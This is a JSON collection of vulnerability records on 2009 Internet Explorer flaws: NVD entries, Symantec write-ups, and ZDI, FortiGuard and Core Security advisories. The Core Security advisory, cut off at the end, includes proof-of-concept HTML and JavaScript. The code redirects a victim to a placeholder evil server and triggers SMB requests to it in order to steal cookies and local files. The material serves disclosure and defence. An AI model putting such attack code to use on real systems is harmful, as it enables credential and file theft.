"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1140", "cvss": {"score": 7.1, "vector": "AV:N/AC:M/Au:N/C:C/I:N/A:N"}, "cpe23": ["cpe:2.3:a:microsoft:ie:6:sp1:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:5.01:sp4:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:6:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:ie:7:*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T11:54:13", "description": "Microsoft Internet Explorer 7 for Windows XP SP2 and SP3; 7 for Server 2003 SP2; 7 for Vista Gold, SP1, and SP2; and 7 for Server 2008 SP2 allows remote attackers to execute arbitrary code via frequent calls to the getElementsByTagName function combined with the creation of an object during reordering of elements, followed by an onreadystatechange event, which triggers an access of an object that (1) was not properly initialized or (2) is deleted, aka \"HTML Object Memory Corruption Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2009-06-10T18:30:00", "title": "CVE-2009-1531", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1531"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/a:microsoft:ie:7"], "id": "CVE-2009-1531", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1531", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:ie:7:*:*:*:*:*:*:*"]}], "symantec": [{"lastseen": "2018-03-13T06:16:36", "bulletinFamily": "software", "cvelist": ["CVE-2009-1141"], "description": "### Description\n\nMicrosoft Internet Explorer is prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer. Failed attacks may cause denial-of-service conditions.\n\n### Technologies Affected\n\n * Avaya Messaging Application Server \n * Avaya Messaging Application Server MM 1.1 \n * Avaya Messaging Application Server MM 2.0 \n * Avaya Messaging Application Server MM 3.0 \n * Avaya Messaging Application Server MM 3.1 \n * Microsoft Internet Explorer 6.0 \n * Microsoft Internet Explorer 6.0 SP1 \n * Nortel Networks CallPilot 1002rp \n * Nortel Networks CallPilot 1005r \n * Nortel Networks CallPilot 200i \n * Nortel Networks CallPilot 201i \n * Nortel Networks CallPilot 702t \n * Nortel Networks Contact Center Manager Server \n * Nortel Networks Contact Center NCC \n * Nortel Networks Multimedia Comm Mas \n * Nortel Networks Self-Service MPS 100 \n * Nortel Networks Self-Service MPS 1000 \n * Nortel Networks Self-Service MPS 500 \n * Nortel Networks Self-Service Peri Application \n * Nortel Networks Self-Service Peri NT Server \n * Nortel Networks Self-Service Peri Workstation \n\n### Recommendations\n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo reduce the impact of latent vulnerabilities, always run nonadministrative software as an unprivileged user with minimal access rights.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity. This includes but is not limited to requests that include NOP sleds and unexplained incoming and outgoing traffic. This may indicate exploit attempts or activity that results from successful exploits.\n\n**Do not follow links provided by unknown or untrusted sources.** \nWeb users should be cautious about following links to sites that are provided by unfamiliar or suspicious sources. Filtering HTML from emails may help remove a possible vector for transmitting malicious links to users.\n\n**Set web browser security to disable the execution of script code or active content.** \nSince a successful exploit of this issue requires malicious code to execute in web clients, consider disabling support for script code and active content within the client browser. Note that this mitigation tactic might adversely affect legitimate websites that rely on the execution of browser-based script code.\n\n**Implement multiple redundant layers of security.** \nMemory-protection schemes (such as nonexecutable stack and heap configurations and randomly mapped memory segments) will complicate exploits of memory-corruption vulnerabilities.\n\nThe vendor has released an advisory along with fixes. Please see the references for details.\n", "modified": "2009-06-09T00:00:00", "published": "2009-06-09T00:00:00", "id": "SMNTC-35198", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/35198", "type": "symantec", "title": "Microsoft Internet Explorer (CVE-2009-1141) Uninitialized Memory Remote Code Execution Vulnerability", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-03-12T04:25:09", "bulletinFamily": "software", "cvelist": ["CVE-2009-1140"], "description": "### Description\n\nMicrosoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to properly enforce the same-origin policy. An attacker can exploit this issue to access local files or content from a browser window in another domain or security zone. This may allow the attacker to obtain sensitive information or may aid in further attacks.\n\n### Technologies Affected\n\n * Avaya Messaging Application Server \n * Avaya Messaging Application Server MM 1.1 \n * Avaya Messaging Application Server MM 2.0 \n * Avaya Messaging Application Server MM 3.0 \n * Avaya Messaging Application Server MM 3.1 \n * Microsoft Internet Explorer 5.0.1 \n * Microsoft Internet Explorer 5.0.1 SP1 \n * Microsoft Internet Explorer 5.0.1 SP2 \n * Microsoft Internet Explorer 5.0.1 SP3 \n * Microsoft Internet Explorer 5.0.1 SP4 \n * Microsoft Internet Explorer 6.0 \n * Microsoft Internet Explorer 6.0 SP1 \n * Microsoft Internet Explorer 7.0 \n\n### Recommendations\n\n**Run all software as a nonprivileged user with minimal access rights.** \nWhen possible, run all software as a user with minimal privileges and limited access to system resources. Use additional precautions such as restrictive environments to insulate software that may potentially handle malicious content.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity. This may indicate exploit attempts or activity that results from successful exploits.\n\n**Do not follow links provided by unknown or untrusted sources.** \nWeb users should be cautious about following links to sites that are provided by unfamiliar or suspicious sources. Filtering HTML from emails may help remove a possible vector for transmitting malicious links to users.\n\n**Set web browser security to disable the execution of script code or active content.** \nSince a successful exploit of this issue requires malicious code to execute in web clients, consider disabling support for script code and active content within the client browser. Note that this mitigation tactic might adversely affect legitimate websites that rely on the execution of browser-based script code.\n\nThe vendor has released an advisory and updates. Please see the references for details.\n", "modified": "2009-06-09T00:00:00", "published": "2009-06-09T00:00:00", "id": "SMNTC-35200", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/35200", "type": "symantec", "title": "Microsoft Internet Explorer Cached Content Cross Domain Information Disclosure Vulnerability", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:NONE/A:NONE/"}}, {"lastseen": "2018-03-14T22:41:58", "bulletinFamily": "software", "cvelist": ["CVE-2009-1532"], "description": "### Description\n\nMicrosoft Internet Explorer is prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the browser. Successful exploits will compromise the browser and possibly the computer. Failed attacks may cause denial-of-service conditions.\n\n### Technologies Affected\n\n * Avaya Messaging Application Server \n * Avaya Messaging Application Server MM 1.1 \n * Avaya Messaging Application Server MM 2.0 \n * Avaya Messaging Application Server MM 3.0 \n * Avaya Messaging Application Server MM 3.1 \n * Microsoft Internet Explorer 8 \n * Nortel Networks CallPilot 1002rp \n * Nortel Networks CallPilot 1005r \n * Nortel Networks CallPilot 200i \n * Nortel Networks CallPilot 201i \n * Nortel Networks CallPilot 702t \n * Nortel Networks Contact Center Express \n * Nortel Networks Contact Center Manager Server \n * Nortel Networks Multimedia Comm Mas \n * Nortel Networks Self-Service MPS 100 \n * Nortel Networks Self-Service MPS 1000 \n * Nortel Networks Self-Service MPS 500 \n * Nortel Networks Self-Service Peri Application \n * Nortel Networks Self-Service Peri Workstation \n * Nortel Networks Self-Service Speech Server \n\n### Recommendations\n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo reduce the impact of latent vulnerabilities, always run nonadministrative software as an unprivileged user with minimal access rights.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity. This includes but is not limited to requests that include NOP sleds and unexplained incoming and outgoing traffic. This may indicate exploit attempts or activity that results from successful exploits.\n\n**Do not follow links provided by unknown or untrusted sources.** \nWeb users should be cautious about following links to sites that are provided by unfamiliar or suspicious sources. Filtering HTML from emails may help remove a possible vector for transmitting malicious links to users.\n\n**Set web browser security to disable the execution of script code or active content.** \nSince a successful exploit of this issue requires malicious code to execute in web clients, consider disabling support for script code and active content within the client browser. Note that this mitigation tactic might adversely affect legitimate websites that rely on the execution of browser-based script code.\n\n**Implement multiple redundant layers of security.** \nMemory-protection schemes (such as nonexecutable stack and heap configurations and randomly mapped memory segments) will complicate exploits of memory-corruption vulnerabilities.\n\nThe vendor has released an advisory along with fixes. Please see the references for details.\n", "modified": "2009-06-09T00:00:00", "published": "2009-06-09T00:00:00", "id": "SMNTC-35235", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/35235", "type": "symantec", "title": "Microsoft Internet Explorer Malformed Row Property Remote Code Execution Vulnerability", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:34", "bulletinFamily": "software", "cvelist": ["CVE-2007-3091"], "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1018192\n[Secunia Advisory ID:25564](https://secuniaresearch.flexerasoftware.com/advisories/25564/)\nOther Advisory URL: http://securityreason.com/securityalert/2781\nOther Advisory URL: http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063712.html\nOther Advisory URL: http://lcamtuf.coredump.cx/ierace/\nMail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2007-06/0026.html\nKeyword: aka the \"bait & switch vulnerability\"\nISS X-Force ID: 34696\nFrSIRT Advisory: ADV-2007-2064\n[CVE-2007-3091](https://vulners.com/cve/CVE-2007-3091)\nCERT VU: 471361\nBugtraq ID: 24283\n", "edition": 1, "modified": "2007-06-04T14:03:46", "published": "2007-06-04T14:03:46", "href": "https://vulners.com/osvdb/OSVDB:38497", "id": "OSVDB:38497", "title": "Microsoft IE Page Transaction Race Condition Arbitrary Code Execution", "type": "osvdb", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1528"], "description": "ZDI-09-037: Microsoft Internet Explorer Concurrent Ajax Request Memory\r\nCorruption Vulnerability\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-09-037\r\nJune 10, 2009\r\n\r\n-- CVE ID:\r\nCVE-2009-1528\r\n\r\n-- Affected Vendors:\r\nMicrosoft\r\n\r\n-- Affected Products:\r\nMicrosoft Internet Explorer\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows attackers to execute arbitrary code on\r\nvulnerable installations of Microsoft Internet Explorer. User\r\ninteraction is required to exploit this vulnerability in that the target\r\nmust visit a malicious page.\r\n\r\nThe specific vulnerability exist due to improper AJAX request\r\nsynchronization in Internet Explorer. When many asynchronous\r\nXMLHttpRequest are running concurrently memory corruption can occur that\r\ncould be remotely exploited by a malicious attacker.\r\n\r\n-- Vendor Response:\r\nMicrosoft has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://www.microsoft.com/technet/security/bulletin/MS09-019.mspx\r\n\r\n-- Disclosure Timeline:\r\n2009-01-15 - Vulnerability reported to vendor\r\n2009-06-10 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * Anonymous\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents\r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/", "edition": 1, "modified": "2009-06-11T00:00:00", "published": "2009-06-11T00:00:00", "id": "SECURITYVULNS:DOC:21988", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21988", "title": "ZDI-09-037: Microsoft Internet Explorer Concurrent Ajax Request Memory Corruption Vulnerability", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1141"], "description": "Microsoft Internet Explorer DHTML Handling Remote Memory Corruption Vulnerability\r\n2009.June.09\r\n\r\nFortinet's FortiGuard Global Security Research Team Discovers Memory Corruption Vulnerability in\r\nMicrosoft's Internet Explorer.\r\n\r\nSummary:\r\n========\r\nA memory corruption vulnerability exists in the DHTML handling of Microsoft's Internet Explorer\r\nwhich allows a remote attacker to compromise a system through a malicious site.\r\n\r\nImpact:\r\n=======\r\nRemote Code Execution.\r\n\r\nRisk:\r\n=====\r\nCritical\r\n\r\nAffected Software:\r\n==================\r\nFor a list of operating system and product versions affected, please see the Microsoft Bulletin\r\nreference below.\r\n\r\nAdditional Information:\r\n=======================\r\nThe vulnerability occurs when Internet Explorer processes special DHTML functions. A crash may\r\nhappen when destroying a window after making a sequence of calls on the "tr" element. These calls\r\nare linked to the insertion, deletion and attributes of a table cell. The crash may then allow the\r\narbitrary execution of code on the browsers machine.\r\n\r\nSolutions:\r\n==========\r\nUse the solution provided by Microsoft (MS09-019).\r\nThe FortiGuard Global Security Research Team released a signature\r\n"MS.IE.DHTML.Function.Remote.Code.Execution", which covers this specific vulnerability.\r\n\r\nFortinet customers who subscribe to Fortinet's intrusion prevention (IPS) service should be\r\nprotected against this memory corruption vulnerability. Fortinet's IPS service is one component of\r\nFortiGuard Subscription Services, which also offer comprehensive solutions such as antivirus, Web\r\ncontent filtering and antispam capabilities. These services enable protection against threats on\r\nboth application and network layers. FortiGuard Services are continuously updated by the FortiGuard\r\nGlobal Security Research Team, which enables Fortinet to deliver a combination of multi-layered\r\nsecurity intelligence and true zero-day protection from new and emerging threats. These updates are\r\ndelivered to all FortiGate, FortiMail and FortiClient products. Fortinet strictly follows\r\nresponsible disclosure guidelines to ensure optimum protection during a threat's lifecycle.\r\n\r\nReferences:\r\n===========\r\nFortiGuard Advisory: http://www.fortiguardcenter.com/advisory/FGA-2009-22.html\r\nMicrosoft Bulletin: http://www.microsoft.com/technet/security/bulletin/ms09-019.mspx\r\nCVE ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1141\r\n\r\nAcknowledgement:\r\n================\r\nHaifei Li of Fortinet's FortiGuard Global Security Research Team\r\n\r\n\r\n*** This email and any attachments thereto may contain private, confidential, and privileged\r\nmaterial for the sole use of the intended recipient. Any review, copying, or distribution of this\r\nemail (or any attachments thereto) by others is strictly prohibited. If you are not the intended\r\nrecipient, please contact the sender immediately and permanently delete the original and any copies\r\nof this email and any attachments thereto. ***", "edition": 1, "modified": "2009-06-11T00:00:00", "published": "2009-06-11T00:00:00", "id": "SECURITYVULNS:DOC:21990", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21990", "title": "FortiGuard Advisory: Microsoft Internet Explorer DHTML Handling Remote Memory Corruption Vulnerability", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1529"], "description": "ZDI-09-036: Microsoft Internet Explorer setCapture Memory Corruption\r\nVulnerability\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-09-036\r\nJune 10, 2009\r\n\r\n-- CVE ID:\r\nCVE-2009-1529\r\n\r\n-- Affected Vendors:\r\nMicrosoft\r\n\r\n-- Affected Products:\r\nMicrosoft Internet Explorer\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows remote attackers to execute arbitrary code on\r\nvulnerable installations of Microsoft Internet Explorer. User\r\ninteraction is required to exploit this vulnerability in that the target\r\nmust visit a malicious page.\r\n\r\nThe specific vulnerability exists when calling the setCapture method on\r\na range of objects. When setCapture is called on a collection of\r\nspecially crafted objects memory becomes corrupted. When the capture is\r\nreleased, arbitrary memory is accessed potentially leading to remote\r\ncode execution. Exploitation of this vulnerability will lead to system\r\ncompromise under the credentials of the currently logged in user.\r\n\r\n-- Vendor Response:\r\nMicrosoft has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://www.microsoft.com/technet/security/bulletin/MS09-019.mspx\r\n\r\n-- Disclosure Timeline:\r\n2009-01-26 - Vulnerability reported to vendor\r\n2009-06-10 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * Peter Vreugdenhil\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents\r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/", "edition": 1, "modified": "2009-06-11T00:00:00", "published": "2009-06-11T00:00:00", "id": "SECURITYVULNS:DOC:21985", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21985", "title": "ZDI-09-036: Microsoft Internet Explorer setCapture Memory Corruption Vulnerability", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1140"], "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n Core Security Technologies - CoreLabs Advisory\r\n http://www.coresecurity.com/corelabs/\r\n\r\n Internet Explorer Security Zone restrictions bypass\r\n\r\n\r\n1. *Advisory Information*\r\n\r\nTitle: Internet Explorer Security Zone restrictions bypass\r\nAdvisory ID: CORE-2008-0826\r\nAdvisory URL: http://www.coresecurity.com/content/ie-security-zone-bypass\r\nDate published: 2009-06-09\r\nDate of last update: 2009-06-09\r\nVendors contacted: Microsoft\r\nRelease mode: Coordinated release\r\n\r\n\r\n2. *Vulnerability Information*\r\n\r\nClass: Client side\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: Yes\r\nBugtraq ID: 33178\r\nCVE Name: CVE-2009-1140\r\n\r\n\r\n3. *Vulnerability Description*\r\n\r\nInternet Explorer (IE) is the most widely used Web browser, with an\r\nestimated count of 1,100 million users according to a worldwide survey\r\nconducted and published in 2008 [1]. This advisory describes a\r\nvulnerability that provides access to the contents of any file stored in\r\nthe local filesystem of user's machines running vulnerable versions of IE.\r\n\r\nExploitation of the vulnerability relies solely on the ability for a\r\nwould-be attacker to provide malicious HTML content from a website and\r\nto predict the full pathname for the file that will be used to cache it\r\nlocally on the victim's system. If the entire path name can be\r\npredicted, the attacker can cause a redirection to the locally stored\r\nfile using an URI specified in UNC form and force the local content to\r\nbe rendered as an HTML document, which will permit to run scripting\r\ncommands and instantiate certain ActiveX controls.\r\n\r\nAs a result of a successful attack, security or privacy-sensitive\r\ninformation can be obtained by an attacker including but not limited to\r\nuser authentication credentials for any web application domain, HTTP\r\ncookies, session management data, cached content of web applications in\r\ndifferent domains and any files stored on local filesystems.\r\n\r\nThe bug is related to a lack of enforcement of security policies\r\nassigned to URL Security Zones [2] when content from the corresponding\r\nzone is loaded and rendered from a local file. These issues have been\r\nfound in the way that security policies are applied when a URI is\r\nspecified in the UNC form (i.e., '\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'):\r\n\r\n 1. When a remote site attempts to access a local resource, IE will\r\nfail to enforce the Zone Elevation restrictions.\r\n 2. When browsing a remote site, IE will not properly enforce the\r\nSecurity Zone permissions, allowing a site belonging to a less secure\r\nzone to be treated as belonging to a more privileged one.\r\n\r\n\r\n4. *Vulnerable packages*\r\n\r\n . Internet Explorer 5.01 Service Pack 4\r\n . Internet Explorer 6.0\r\n . Internet Explorer 6.0 Service Pack 1\r\n . Internet Explorer 7 (not exploitable with Protected mode on,\r\navailable on Vista)\r\n\r\n\r\n4.1. *Vulnerable platforms*\r\n\r\n . Microsoft Windows 2000 up to and including Service Pack 4\r\n . Microsoft Windows Server 2003 up to and including Service Pack 2\r\n . Microsoft Windows XP up to and including Service Pack 3\r\n . Windows Vista up to and including Service Pack 1 (not exploitable\r\nwith IE running with Protected mode on)\r\n . Windows Server 2008\r\n\r\n\r\n5. *Non-vulnerable packages*\r\n\r\n . Internet Explorer 8 under Windows 2000/2003/XP/Vista\r\n\r\n\r\n6. *Vendor Information, Solutions and Workarounds*\r\n\r\nThe following workarounds can prevent exploitation of the vulnerability:\r\n\r\n . Use Internet Explorer's Protocol Lockdown feature control to\r\nrestrict the "file" protocol to prevent HTML from UNC path to run script\r\nor ActiveX controls.\r\n . Set the Security Level setting for the Internet and Intranet Zones\r\nto High to prevent IE from running scripts or ActiveX controls.\r\n . Manually disable Active Scripting for the Internet and Intranet\r\nZone with a custom security setting.\r\n . Only run IE in Protected Mode if it is available on the operating\r\nsystem.\r\n . Use a different web browser to navigate untrusted web sites.\r\n\r\nAdditionally, although disabling file sharing if it is not necessary and\r\nfiltering outbound SMB connections at the endpoint or network perimeter\r\nmay not prevent exploitation it is generally a good security measure to\r\nprevent disclosure of sensitive information such as valid usernames of\r\nendpoint users.\r\n\r\nMicrosoft has issued a patch to fix the vulnerability and a detailed\r\ndescription of how to implement the workarounds on IE. It is available\r\nas Security Bulletin http://go.microsoft.com/fwlink/?LinkID=150860.\r\n\r\nMicrosoft's Research and Defense blog has further discussion about the\r\nvulnerability, workarounds and mitigations [3].\r\n\r\n\r\n7. *Credits*\r\n\r\nThis vulnerability was discovered and researched by Jorge Luis Alvarez\r\nMedina from Core Security Consulting Services (SCS). Additional research\r\nwas made by Federico Muttis from Core Security Exploit Writers Team (EWT).\r\n\r\n\r\n8. *Technical Description / Proof of Concept Code*\r\n\r\n Internet Explorer uses a feature known as URL Security Zones [2], which\r\ndefines a set of privileges for Web sites and applications depending on\r\ntheir apparent level of trustworthiness. The zones available in the\r\nproduct include:\r\n\r\n . *Internet Zone: * For Web sites on the Internet that do not belong\r\nto another zone.\r\n . *Local Intranet Zone: * For content located on an organization's\r\nintranet.\r\n . *Trusted Sites Zone: * For content located on Web sites that are\r\nconsidered more reputable or trustworthy than other sites on the Internet.\r\n . *Restricted Sites Zone: * For Web sites that contain content that\r\ncan cause (or have previously caused) problems when downloaded.\r\n . *Local Machine Zone: * This is an implicit zone for content that\r\nexists on the local computer and it is not directly configurable through\r\nInternet Explorer security options by the user.\r\n\r\nInternet Explorer users or Administrators can assign specific websites\r\nor domains to any of the available zone except the Local Machine Zone.\r\nThe ability for a given website to perform security-sensitive operations\r\non the web browser is determined by the *Security Level* of the zone to\r\nwhich the site was assigned. Each zone can be set to one of three preset\r\nsecurity levels (High, Medium-High, Medium) or to a custom level with\r\nsecurity policy settings specified by the user or administrator.\r\n\r\nBy default, all websites that are determined not to be in the Local\r\nIntranet zone and are not explicitly listed in the Restricted Sites or\r\nTrusted Sites zones are assigned the *Internet Zone* which has a default\r\nsecurity setting of Medium-High. Thus, for most IE users the\r\nsecurity-sensitive actions that a browser is allowed to perform while\r\nconnected to an untrusted Internet site are those specified by the\r\nsecurity policies of the Internet Zone at the Medium-High security level.\r\n\r\nThere are some issues in the way IE enforces zone security policies when\r\nan URI is specified in the UNC form (i.e.,\r\n'\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'). In this case, Internet\r\nExplorer classifies as *Internet Zone* any UNC address pointing to an IP\r\naddress including '127.0.0.1'. As a result, any website (belonging to\r\nany security zone) can address and redirect the navigation flow to files\r\nstored in '\\127.0.0.1'.\r\n\r\nIf an attacker controlling a website finds a way to store HTML with any\r\nvalid scripting code the local file system of the visitor and then\r\nredirects the browser's navigation flow that local file\r\n('\\127.0.0.1\full_file_name'), then this code will be loaded and\r\nrendered as if it belonged to the *Internet Zone* but since the file\r\ncontaining it is stored in '\\127.0.0.1' it would also be able to access\r\nany other file on the visitor's file system.\r\n\r\nThe problem is derived from the sequence of actions performed by\r\nInternet Explorer to determine the content-type of the content to be\r\nloaded and the appropriate way to render it. The algorithm followed for\r\nthis purpose is described in Microsoft's Knowledgebase article titled\r\nMIME Type Detection in Internet Explorer [4] and implemented in the\r\nfunction 'FindMimeFromData' in 'URLMON.DLL'[5].\r\n\r\nIn the following section, proof of concept code is provided to\r\ndemonstrate the problem using the local storage used by Internet\r\nExplorer to store the user's browsing history to deliver HTML with\r\nscripting code and force IE to render it. This analysis is valid for any\r\nWindows NT based operating system but should be slightly modified to run\r\nunder Windows Vista. It takes advantage of the following features:\r\n\r\n 1. The IE user's browsing history is compounded of different files\r\nand folders. One of these files is named 'index.dat', and is usually\r\nlocated at: 'C:\Documents and settings\USERNAME\Local\r\nsettings\History\History.IE5\index.dat'. Although the format of this\r\nfile is not entirely text, IE will store every visited URL including any\r\nparameters in the query string in plain text.\r\n 2. Although the aforementioned folder cannot be directly browsed\r\nusing Windows Explorer or Internet Explorer, it can be browsed and\r\nviewed by referring to the same folder using the UNC notation:\r\n'\\[COMPUTERNAME|127.0.0.1]\C$\Documents and settings\USERNAME\Local\r\nsettings\History\History.IE5'.\r\n 3. There are some HTML tags which allow to embed contents from\r\nexternal files and treat them with a specific format disregarding the\r\nfile extension. For example, the HTML '<object/>' tag:\r\n\r\n/-----------\r\n\r\n<object data="index.dat" type="text/html" width="100%" height="50"></object>\r\n- -----------/\r\n\r\n It allows to set the MIME type (in the type attribute) of an externally\r\nreferenced file in the data attribute which will be loaded as an object.\r\n 4. Internet Explorer behaves in a slightly different way when\r\ndisplaying a page directly rather than displaying that page inside an\r\nHTML '<frame>' tag. For example, a page containing an HTML '<object>'\r\ntag like the one shown below will prompt the user to accept the download\r\nof file being referenced inside if loaded directly but it will be\r\nautomatically downloaded and rendered according to the specified MIME\r\ntype if the page is loaded inside an HTML '<frame>' tag.\r\n 5. Internet Explorer will determine the security zone of an UNC\r\naddress as belonging to:\r\n\r\n a. The *Internet Zone* if the path refers to the target using an\r\nIP address, for example '\\127.0.0.1'.\r\n b. The *Local Intranet Zone* if the path refers to the target\r\nusing a NetBIOS name, for example '\\COMPUTERNAME'.\r\n\r\n\r\n8.1. *Proof of Concept Code*\r\n\r\nThe following proof of concept code demonstrates that by enticing a user\r\nto do a single click on a malicious website it is possible to retrieve\r\nevery HTTP cookie from the unsuspecting victim user. The PoC uses\r\nVBScript to show the ability to steal sensitive information from any\r\nlocal files with either text or binary contents.\r\n\r\nThere are several steps involved in order to make the attack path clear.\r\nThe following diagram shows the files involved and the calling order.\r\nDetails concerning the relationship between these files will be\r\nexplained along the walkthrough:\r\n\r\n/-----------\r\n\r\nSee the figure in\r\nhttp://www.coresecurity.com/content/ie-security-zone-bypass\r\n\r\n- -----------/\r\n\r\n\r\nEverything starts when the victim user points her browser to the\r\nfollowing URL:\r\n\r\n/-----------\r\n\r\nhttp://[EVIL SERVER IP ADDRESS]/evilsite.htm\r\n- -----------/\r\n\r\n This page will trigger SMB requests against our evil server to extract\r\nthe victim's 'USERNAME'. The script named 'captureSMB.pl' running in the\r\nserver will be the one in charge of processing these requests to create\r\nthe 'index.dat.english.pl' file which will be used later to redirect the\r\nvictim's browser to the locally stored index.dat file.\r\n\r\nHowever, the main objective of this page is to set (when redirecting to\r\nthe next page) HTML code inside the victim's history index.dat file. The\r\nHTML source code to accomplish such tasks would look very much like the\r\nfollowing:\r\n\r\n/-----------\r\n\r\n<html>\r\n<head>\r\n<script>\r\nfunction redirectNow(){\r\n document.location = 'http://[EVIL SERVER IP ADDRESS]/setForm.htm\?[HTML\r\nCODE];\r\n }\r\n</script>\r\n</head>\r\n<body onload="javascript:redirectNow();">\r\n<img src="\\[EVIL SERVER IP 